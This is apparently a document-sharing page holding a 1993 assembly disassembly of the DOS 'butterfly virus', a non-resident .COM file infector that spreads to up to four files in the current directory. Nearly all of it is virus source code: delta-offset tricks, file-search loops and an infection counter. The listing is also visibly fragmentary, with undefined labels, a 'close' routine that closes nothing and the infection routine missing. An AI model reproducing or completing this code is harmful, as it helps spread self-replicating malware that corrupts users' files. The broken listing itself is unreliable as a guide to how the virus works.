Académique Documents
Professionnel Documents
Culture Documents
************************************************************************
virus name: butterfly virus
effective length: 302 bytes
disassembled by silent death - 1993
notes:
- non-resident .com appender
- infects up to 4 files in the current directory
- infected files have 01h as the 4th byte
- ok virus to learn off of but a lot of wasteful code
.model tiny
.code
org 100h
start:
jmp virus
nop
nop
virus:
call delta ; get delta offset
delta:
pop bp
sub bp,10bh ; adjust delta offset
returntohost:
mov ah,1ah ; set dta
mov dx,80h ; to original position
int 21h
closeup:
or bx,bx ; is handle 0?
jz findnext ; yup so don't bother closing
findnext:
mov ah,4fh ; find next file
findfiles:
pop dx ; get filespec
push dx
mov cx,7 ; all attributes
xor bx,bx ; make sure no handle
int 21h
vname db 0ffh
db 'goddamn butterflies' ; ya know!
db 0ffh
infect:
mov dx,si ; dx => fname in dta
inc [bp+counter]
cmp [bp+counter],4 ; has 4 files been infected?
jae returntohost3 ; yup so return to host
jmp closeup ; close current file
end start